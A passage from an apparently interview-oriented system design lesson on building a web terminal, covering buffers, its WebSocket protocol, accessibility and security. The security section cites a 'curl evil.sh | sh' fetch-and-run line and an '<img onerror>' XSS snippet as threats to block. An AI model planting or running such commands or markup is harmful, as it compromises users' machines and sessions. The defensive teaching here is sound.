col = floor(x / cellWidth),row = floor(y / cellHeight) + viewportTop. Snap to the left half of a wide character. - Double-click selects a word, using a configurable set of separator characters. Paths like
src/app/page.tsxshould select whole, so/and.are not separators by default. - Triple-click selects a logical line, following wrapped rows.
- Alt-drag selects a rectangle, useful for copying a column of
psoutput. - Mouse tracking conflict. When a program like
htoportmuxturns on mouse reporting (ESC[?1000hand friends), clicks go to the program. Hold Shift (or Option on macOS) to force normal selection; tell users in a tooltip. - Keyboard selection for users who can't drag: Shift+arrows in a selection mode, or the screen reader mirror from chapter 11.
Copy and paste with the Clipboard API
To copy, turn the selection into text: walk the cells, skip the right halves of wide characters, trim trailing blanks on each row, and add a newline only between rows that are not wrapped. Then call navigator.clipboard.writeText(text). Writing is allowed in response to a user gesture (a key press or click) on a focused page, so copy inside the Ctrl+Shift+C handler, not in a timer.
For paste, prefer the browser's paste event on the hidden textarea: it carries the text and needs no permission. navigator.clipboard.readText() is for a "Paste" menu item. It may show a permission prompt or a paste confirmation, depending on the browser, so never call it without a user action.
Links: detected URLs and OSC 8 hyperlinks
There are two kinds. Detected links are text that looks like a URL. Detect them lazily: when the mouse hovers a row, run a URL regex over that logical line only, not over every line of output.
Explicit hyperlinks use OSC 8: the program sends ESC]8;;https://example.com ESC\, then the visible text, then ESC]8;; ESC\ to close. The visible text can be anything, like a file name in ls --hyperlink output. Store a link id on each cell it covers, and keep the URLs in a side table.
- Open only on a deliberate action, such as Ctrl+click or Cmd+click, so a normal click can still select text.
- Allow only
http:andhttps:schemes (plusfile:mapped to your editor, if you have one). A program can printjavascript:or a custom scheme; never pass it to the browser. - Show the real target on hover. For OSC 8 links, the visible text and the URL can differ, the same trick as phishing emails.
- Open with
noopener, for examplewindow.open(url, "_blank", "noopener"), so the new page can't script the terminal's tab.
Check your understanding · Exercise 8
A user selects a long URL that the terminal wrapped across 3 rows and copies it. Which steps produce the right clipboard text? Select all that apply.
Architecture, data model, and interfaces
Now assemble the pieces from chapters 3 to 9. The design has one rule: the buffer is the single source of truth. The parser is the only writer of cells, and the renderer, selection, search, links, and the screen reader view only read it. Input never touches cells directly: keys go out to the process, and the echo comes back through the parser like any other output.
| Part | Responsibility | Why the boundary is here |
|---|---|---|
TerminalView | The host-facing component: props, events, mounting, focus, theme, the fit to pane size. | The embedding app (VS Code-like shell, Codespaces page) should only ever touch this API. |
Connection | WebSocket, message framing, heartbeats, reconnect with backoff, resume offsets, flow control acks. | Network failure is its own world. Nothing else should know a reconnect happened, beyond a status event. |
WriteQueue and Parser | Queue incoming bytes, decode UTF-8, run the state machine in frame-sized slices, call handlers. | Keeps parsing time bounded so input and painting get their turn. |
InputHandler | Applies parser actions to the buffer: print, move cursor, erase, scroll regions, modes, OSC. | All terminal semantics in one place, testable without a DOM. |
BufferSet | Normal buffer with ring scrollback, alternate buffer, cursor, modes, dirty row range. | The source of truth every feature reads. |
Renderer | WebGL with glyph atlas, DOM fallback; paints dirty rows once per frame; cursor layer. | Swappable at runtime when the WebGL context is lost. |
InputController | Hidden textarea, key encoding, IME, paste with bracketed mode, custom key hook. | Turns browser events into bytes and nothing else. |
SelectionManager, SearchService, LinkProvider | Text features rebuilt over the buffer, with decorations drawn by the renderer. | Read-only consumers; each can be lazy-loaded. |
A11yView | Screen reader mode: a live region and a navigable DOM mirror of rows. | Separate from the renderer, so it works with WebGL. |
Most of these parts are pure TypeScript with no DOM: parser, input handler, buffer set, and the key encoder. That's deliberate. They can be unit tested with byte strings ("feed ESC[2J, expect empty grid"), they can run in Node for the gateway's headless emulator, and they could move to a worker later. xterm.js has the same split: a common core shared with its headless package, and a browser layer on top.
0x00 output frames down, 0x01 input frames and 0x03 acks up, plus a one-time ticket before connecting. Everything after the Connection is local and synchronous.Follow one keystroke through the data flow. The user presses l, then s, then Enter. The textarea's input events carry l and s; keydown for Enter is encoded as \r. Each becomes an input message on the socket: 2 bytes each including the type prefix.
The gateway writes them to the PTY. The shell echoes l and s and, on Enter, runs ls, whose colored output comes back as output messages. The parser writes cells, marks rows dirty, the renderer paints them in the next frame, and every 5 KB of parsed output the client acks.
Think first
Should the parser run in a Web Worker so the main thread is free?
It's tempting, but the buffer is needed on the main thread every frame for rendering, selection, and hit testing. Moving the parser means either copying changed rows to the main thread every frame or sharing memory with SharedArrayBuffer, which requires cross-origin isolation headers that often break embedded content.
Frame-sliced parsing plus flow control already keeps input responsive, which is why mainstream web terminals parse on the main thread. A worker becomes worth it only if profiling shows parsing itself, not rendering, is the bottleneck on target devices. Say that trade-off out loud rather than picking a worker by reflex.
Check your understanding · Exercise 9
Which design choices follow from "the buffer is the single source of truth"? Select all that apply.
Data model: what the client holds and where it lives
A terminal has no server cache, no normalized store, and almost nothing in the URL. Nearly all state lives in plain objects owned by the terminal instance, outside any UI framework's state. That's on purpose: the buffer changes thousands of times per second, and pushing that through React state would re-render the tree for every byte. The host component holds a ref to the instance and listens for a few coarse events.
type Modes = {
applicationCursorKeys: boolean; // DECCKM, ESC[?1h
bracketedPaste: boolean; // ESC[?2004h
mouseTracking: "none" | "click" | "drag" | "any";
altScreen: boolean; // ESC[?1049h
cursorVisible: boolean; // ESC[?25h
wraparound: boolean; // DECAWM
};
type Cursor = { row: number; col: number; pen: Attrs; savedRow?: number; savedCol?: number };
type Buffer = {
lines: RingBuffer<Line>; // scrollback + screen, cap = scrollback + rows
absoluteBase: number; // absolute number of lines[0], grows as lines evict
scrollTop: number; scrollBottom: number; // scroll region (DECSTBM)
cursor: Cursor;
};
type BufferSet = { normal: Buffer; alt: Buffer; active: "normal" | "alt" };
type Selection = { start: { line: number; col: number }; end: { line: number; col: number }; mode: "normal" | "word" | "line" | "block" };
type LinkTable = Map<number, { uri: string; params: string }>; // OSC 8 id per cell
type Session = { id: string; resumeOffset: number; status: ConnectionState; exitCode?: number };
| Data | Where it lives | Why |
|---|---|---|
| Cells, cursor, modes, scroll region | Terminal instance memory (typed arrays) | Hot path; no framework state, no copies. |
| Selection, search matches, hovered link | Terminal instance, as absolute line numbers | Must survive scrolling and eviction checks. |
| Session id and resume offset | Instance memory, plus sessionStorage per tab | A reload in the same tab can resume the same session; another tab gets its own. |
| Auth token | Memory only, fetched from the host app | Never in localStorage or the URL. See the auth-tokens lesson. |
| User settings (font, scrollback, theme, copy on select) | Host app settings, synced to the account | Same terminal look on every machine. |
| Recorded output for replay | Gateway ring buffer and headless emulator | The server is the only party that saw every byte. |
Two details are worth calling out. First, absoluteBase: when the ring buffer evicts a line, the base goes up by one. Converting between absolute line numbers (used by selection and search) and ring slots is one subtraction.
Second, the resume offset counts bytes the parser has processed, not bytes received, the same rule as the flow control ack. Otherwise a reconnect skips bytes that were sitting unparsed in the write queue when the socket died.
Interface: the component API and the wire protocol
There are two interfaces to design: the props and events the host app uses, and the messages on the socket. Keep the component API small and the protocol versioned.
type TerminalProps = {
sessionUrl: string; // wss://gw.example.com/sessions/abc
getToken: () => Promise<string>; // short-lived, fetched on each connect
fontFamily?: string; fontSize?: number;
theme?: TerminalTheme;
scrollback?: number; // default 10_000
screenReaderMode?: boolean;
renderer?: "auto" | "webgl" | "dom";
onKeyIntercept?: (e: KeyboardEvent) => boolean; // true = host handled it
onTitleChange?: (title: string) => void; // OSC 0 and 2, sanitized
onStatusChange?: (s: ConnectionState) => void;
onExit?: (code: number) => void;
onOpenLink?: (url: string) => void; // host decides how to open
onClipboardWriteRequest?: (text: string) => Promise<boolean>; // OSC 52
};
// Imperative handle for host commands
type TerminalHandle = { focus(): void; paste(text: string): void; clear(): void;
findNext(query: string, opts?: FindOptions): boolean; serialize(): string };
| Type byte | Direction | Payload | Meaning |
|---|---|---|---|
0x00 output | server to client | raw PTY bytes | Program output, in order. |
0x01 input | client to server | raw bytes | Encoded keys and paste. |
0x02 resize | client to server | { "cols": 120, "rows": 30 } | Gateway calls pty.resize; kernel sends SIGWINCH. |
0x03 ack | client to server | { "bytes": 5120 } | Bytes processed by the parser; drives watermarks. |
0x04 hello | client to server | { "v": 1, "resumeFrom": 1048576 } | First message. Resume from this byte offset, or 0 for new. |
0x05 ready | server to client | { "offset": 1048576, "mode": "replay" } | Says whether replay or a snapshot follows, and from which offset. |
0x06 exit | server to client | { "code": 130 } | The process ended; no more output. |
0x07 error | server to client | { "code": "SESSION_GONE" } | Also AUTH_EXPIRED and RATE_LIMITED, each mapped to a connection state. |
Authentication happens before the first byte. The browser can't set an Authorization header on a WebSocket, so the client fetches a short-lived, single-use ticket from the host app's API (valid for 30 seconds, bound to one session id) and passes it in the hello message or the URL query. The gateway checks it, plus the Origin header, before attaching the PTY. The security section of chapter 11 explains why each of those matters.
Check your understanding · Exercise 10
Which interface choices are sound? Select all that apply.
Accessibility and security: who can use it, and who can abuse it
Two groups shape this chapter. Some users depend on a screen reader or the keyboard alone, so the terminal must expose its text in ways a canvas can't. Some programs print text an attacker controls, and some web pages would like to open a shell they shouldn't. Both are questions about one boundary: what the terminal exposes, and to whom.
Accessibility: a terminal for keyboard and screen reader users
Blind and low-vision developers use terminals every day, often more than graphical tools, because a native terminal is plain text that a screen reader can read. A WebGL canvas takes that away: to the accessibility tree it's one image. So accessibility can't be a renderer feature: it has to be its own view of the buffer, which is why the architecture gave it a separate A11yView. The screen-readers and keyboard-navigation lessons cover the general mechanics; this section covers what is specific to terminals.
Screen reader mode
xterm.js has a screenReaderMode option that adds supporting DOM elements for NVDA on Windows and VoiceOver on macOS. Whatever library you use, a good screen reader mode has two parts:
- A live region for new output. An off-screen element with
aria-live="polite"receives the text of new lines as they're written, so the reader speaks the result oflsafter the user presses Enter. Typed characters should not be announced twice: the screen reader already echoes the key, so skip the server's echo of it. - A navigable mirror of the rows. An off-screen list of row elements, one per visible line, kept in sync with the buffer, so users can move through output line by line with their reader's reading keys, and review a long error message at their own pace.
Floods are the hard case again. A build printing 2,000 lines a second can't be read aloud; announcing each line queues hours of speech and can make the screen reader itself unresponsive.
Batch announcements to at most one every 500 ms or so, cap each one at a few hundred characters, and when output is very fast, announce a summary such as "Output is arriving quickly" and let the user read the mirror when it settles. Never announce the alternate screen line by line: htop repainting is noise. Announce the switch instead.
A review mode helps a lot. VS Code offers an accessible view of the terminal buffer that opens the output as a read-only text document. The user can search it, select it, and copy it with all the standard screen reader commands, then return to the prompt with Escape. It costs little, because it only reads the buffer.
Keyboard-only use and the Tab trap
A terminal must capture Tab, because the shell uses it for completion. That makes it a keyboard trap, and WCAG 2.1.2 (No Keyboard Trap) requires a way out. Provide a documented shortcut that moves focus out of the terminal, and a toggle that makes Tab move focus instead of completing (VS Code has one, bound to Ctrl+M on Windows and Linux). Announce the shortcut in the textarea's accessible name or description, for example Terminal 1, bash. Press Ctrl+M to toggle Tab moving focus.
- Contrast. Programs pick colors you don't control, like dark blue on black. A minimum contrast setting adjusts foreground colors per cell to reach a ratio such as 4.5 to 1. xterm.js offers
minimumContrastRatiofor this. - Zoom. Ctrl+= and Ctrl+- should change the terminal's font size, then refit
colsandrows, and send a resize. - Reduced motion. Respect
prefers-reduced-motionfor cursor blink and smooth scrolling. - Focus visibility. When the terminal has focus, show it: a visible outline on the pane, and a solid block cursor instead of a hollow one.
Check your understanding · Exercise 11
Which make the terminal usable with a screen reader? Select all that apply.
Security: remote code execution by design
Every other web app treats "an attacker runs a command on our server" as the worst case. For a terminal, running commands is the feature. So the questions change: who is allowed to attach to a shell, and what is the output allowed to make the browser do? Two boundaries matter: the socket (who gets in) and the parser (what output can trigger).
Who can attach to a shell
Decision How should the WebSocket prove who the user is?
What we pick: The ticket plus an Origin check. It closes cross-site hijacking and limits leaks to seconds. The auth-tokens lesson covers how the app API's own tokens are stored and refreshed; the terminal only ever holds the short ticket. Add idle timeouts (close the session after 30 minutes without a client), revoke sessions on logout, and log who attached to which container and when.
Output is untrusted input
The bytes on screen come from whatever program is running, and programs print attacker-controlled text all the time: a file you cat, a log line from the internet, a branch name in git log. Treat output like user input in any web app.
- Never render output as HTML. A DOM renderer must set
textContentor create text nodes, neverinnerHTML. A file containing<img src=x onerror=...>must show as those characters. The xss lesson explains why oneinnerHTMLis enough to lose the session. - Sanitize titles. OSC 0 and 2 set the window title. Cap the length (say 200 characters), strip control characters, and pass the result to the host as text.
- Gate clipboard writes. OSC 52 lets a program put text on the user's clipboard, which is handy in
tmuxover SSH. It also lets a malicious file plantcurl evil.sh | shfor the user's next paste. Off by default; when on, show a notice or ask once per session. Never support OSC 52 clipboard reads: that would let any program read your clipboard. - Don't echo attacker text back as input. Some old terminals could report the window title back as keyboard input, so a hostile file could set a title containing a command and then ask for it to be "typed". Modern terminals refuse to report titles for this reason; don't add it back.
- Validate links to
http:andhttps:(chapter 9), and show the real target. - Strip escape bytes from pastes so a pasted payload can't close bracketed paste early (chapter 6).
Check your understanding · Exercise 12
Which are real risks for a web terminal? Select all that apply.
Performance and observability: budgets, benchmarks, and what to measure
Earlier chapters made the big performance choices: typed-array cells, a state-machine parser with a fast path for printable runs, WebGL rendering of dirty rows once per frame, frame-sliced parsing, and watermark flow control. This chapter collects their budgets in one place, covers the costs that only show up across many terminals and long sessions, and says how to keep the numbers true after launch.
| Stage | Budget per frame | Throughput (estimate) | What breaks it |
|---|---|---|---|
| UTF-8 decode | under 1 ms | hundreds of MB per second | Allocating a string per chunk. |
| Parse and apply to buffer | 10 to 12 ms slice | 5 to 35 MB per second (xterm.js docs) | Per-cell objects, regexes, closures created per byte. |
| Render dirty rows (WebGL) | 1 to 2 ms | full 200 by 50 grid in about 1 ms | Atlas rebuilds, a draw call per cell. |
| Input to socket | under 1 ms | not throughput bound | Waiting behind a parse backlog. |
- Memory across terminals. Scrollback dominates (chapter 9 has the math), but each terminal's renderer adds GPU memory for its WebGL context and atlas. Hidden terminals can drop their renderer and keep only the buffer. Chrome allows about 16 live WebGL contexts per page and loses the oldest beyond that (fewer on some mobile devices), so ten terminals with one context each is close to the limit: share one context or release contexts for hidden panes.
- Leaks in a long-lived terminal come from disposed instances that are still referenced: socket listeners,
ResizeObservers,matchMedialisteners, and timers for cursor blink. Every subscription gets a matchingdispose(). The memory-leaks lesson shows how to find them with heap snapshots: open and close 50 terminals and check that the instance count returns to zero. - Load cost. Ship the core (parser, buffer, DOM renderer) in the first chunk, and lazy-load the WebGL renderer, search, ligatures, and the Unicode width tables. The terminal panel is often closed at page load, so the whole terminal can be a dynamic import.
Benchmarks to keep in CI
- Throughput: feed a recorded 50 MB capture (a big
ls -lR, a colorful build log) into a headless instance, report MB per second. - Repaint: replay a recorded
htopsession at 200 by 50 and report the 95th percentile frame time. - Ctrl+C under flood: run
yesthrough the real gateway, send Ctrl+C, and measure time until output stops. Fail the build above 200 ms. - Correctness: run a terminal conformance suite (
vttestis the classic one) and snapshot-test the buffer for each recorded capture.
What to log in production
Track keystroke-to-echo latency (the time from sending an input byte to the first output after it, a good proxy for felt lag), reconnects per session and their cause, resume mode used (replay or snapshot), flow control pauses per minute, renderer fallbacks with the reason (WebGL unavailable, context lost), and long tasks over 50 ms attributed to parse or render. Never log terminal content: it contains secrets, tokens, and private code.
Check your understanding · Exercise 13
A user keeps 10 terminals open in split panes and reports the page using 1.5 GB. Which fixes help? Select all that apply.
Running it in the interview
This question rewards depth in a few places more than coverage of everything. Interviewers want to hear that you know what a terminal really is (a grid, a cursor, a byte stream with escape sequences) and that you can keep it fast and responsive when output floods.
| Minutes | What to do | What to draw |
|---|---|---|
| 0 to 5 | Scope: full shell or command runner, persistent sessions, number of terminals, accessibility. | A list of requirements with numbers. |
| 5 to 10 | Name the two loops: bytes in to parser to buffer to renderer, and keys to encoder to socket. | The pipeline from chapter 2. |
| 10 to 20 | The buffer: grid, cursor, scrollback ring, alternate screen, typed arrays. | A grid with a cursor and the two buffers. |
| 20 to 30 | The parser state machine and split chunks; UTF-8 and wide characters. | Four or five states with arrows. |
| 30 to 40 | Rendering choice (WebGL with DOM fallback) and input (hidden textarea, key table). | The architecture boxes. |
| 40 to 50 | Connection: WebSocket protocol, resize, reconnect with offsets, flow control with watermarks. | A sequence diagram of a flood with pause and resume. |
| 50 to 60 | Security, accessibility, and follow-ups. | Nothing new; talk. |
Say out loud early: "I'll treat the terminal as a faithful emulator: show exactly what the process prints and send exactly the bytes a native terminal would. Shell features like completion stay in the shell." Then lead with the buffer, because every other answer depends on it.
Follow-ups to expect
- "What happens when I
cata 1 GB file?" The gateway pauses the PTY at the high watermark; the client acks after parsing; memory stays bounded; the screen goes quiet within tens of ms of Ctrl+C. Mention the frame-sliced parser. - "Why not just use a
preelement?" Because output moves a cursor and overwrites cells, and full-screen apps use a second buffer. Aprecan only append. - "How do you handle Ctrl+W?" The browser takes it. Keyboard Lock in fullscreen, remappable keys, a close guard, and persistent sessions so a closed tab loses nothing.
- "The network drops for 30 seconds. What does the user see?" A dimmed screen with a banner, backoff retries, then a resume from the processed byte offset; a snapshot if the offset is gone. The build kept running throughout.
- "How would you test it?" Byte-string unit tests for the parser and buffer, recorded captures replayed into a headless instance with buffer snapshots,
vttestfor conformance, and the Ctrl+C under flood benchmark. - "How does a blind user read an error?" Screen reader mode with a polite live region, a navigable row mirror, a review view, and a documented way out of the Tab trap.
Summary
- A terminal is a grid of cells with a cursor, not a list of lines. Two buffers exist: the normal one with scrollback and the alternate one that full-screen apps like
vimpaint on. - Store cells in typed arrays (about 12 bytes per cell) and scrollback in a ring buffer. 10,000 lines at 120 columns is about 14 MB.
- Parse with a table-driven state machine based on the DEC parser model. State that persists between writes makes chunks split mid-sequence a non-issue; decode UTF-8 in streaming mode for the same reason.
- Match character widths to the programs on the server, not to an ideal table, or the cursor drifts after every emoji.
- Render with WebGL and a glyph atlas, repaint only dirty rows once per frame, keep the cursor blink separate, and fall back to the DOM renderer.
- Capture input with a hidden textarea at the cursor so IME, mobile keyboards, and paste work. Encode keys from a table that reads modes the parser set, and wrap pastes in bracketed paste markers with escapes stripped.
- Use one WebSocket with binary frames and a tiny typed protocol. Flow control with watermarks and acks after parsing keeps memory bounded and Ctrl+C responsive during floods.
- Sessions belong to the gateway, not the socket: resume by byte offset, fall back to a snapshot from a headless emulator.
- Treat output as untrusted: never HTML, sanitized titles, OSC 52 clipboard writes off by default, links limited to safe schemes. Authenticate with short-lived tickets and an Origin check.
- Accessibility is its own view of the buffer: a polite, throttled live region, a navigable row mirror, and a documented way out of the Tab trap.
Check your answer
Tick what your own design covered. Pick the level you're interviewing for: each level includes the ones before it.
References
- A parser for DEC's ANSI-compatible video terminals (Paul Williams) The state machine model that xterm.js and other terminals build their parsers from.
- XTerm control sequences (Thomas Dickey) The reference for CSI, OSC, private modes, mouse tracking, and bracketed paste.
- xterm.js: Flow control guide Write callbacks, watermarks, and flow control across a WebSocket.
- xterm.js on GitHub The terminal used by VS Code; its buffer, parser, renderers, and addons are worth reading.
- node-pty Spawning processes with a pseudo-terminal from Node, including resize, pause, and resume.
- Hyperlinks (a.k.a. HTML-like anchors) in terminal emulators The OSC 8 hyperlink proposal and its security notes.
- MDN: Keyboard API Keyboard Lock and its fullscreen requirement.
- MDN: Clipboard API Reading and writing the clipboard, permissions, and user activation.
- Understanding WCAG 2.2: No Keyboard Trap Why a terminal that captures Tab needs a documented way out.
Concepts behind it
- WebSocketsOne long-lived connection, opened by an HTTP handshake, on which browser and server can each send a message at any moment. The usual pick for chat, multiplayer, and collaboration, and the one where you own the protocol, reconnects, and scaling.
- Runtime performanceKeeping the page responsive after it loads: finding long tasks on the main thread, splitting or moving that work, and avoiding needless re-renders so every click and keypress paints in under 200 ms.
- Memory in long-lived appsWhy single-page apps that stay open for hours fill up memory, how the garbage collector decides what to keep, the classic leaks, and how to find them with heap snapshots and keep them out with budgets.
- Keyboard navigationMaking every action work without a mouse: a Tab order that follows the page, a focus ring you can always see, arrow keys inside composite widgets, skip links past repeated content, and no place where focus gets stuck.
- Screen readers and live regionsHow screen readers turn a page into speech or braille, how every control gets its accessible name and description, and how to announce changes like search results, saves, and errors with live regions.
- Cross-site scripting (XSS)Cross-site scripting is when text from outside your app ends up running as code inside your page, with every power your own code has: the most common and most damaging frontend security bug, and the one frontend engineers own most directly.
- Authentication and token storageHow a web app proves who the user is on every request after login: sessions or tokens, where the proof lives in the browser, how it is refreshed and revoked, and how OAuth with PKCE and OIDC fit in.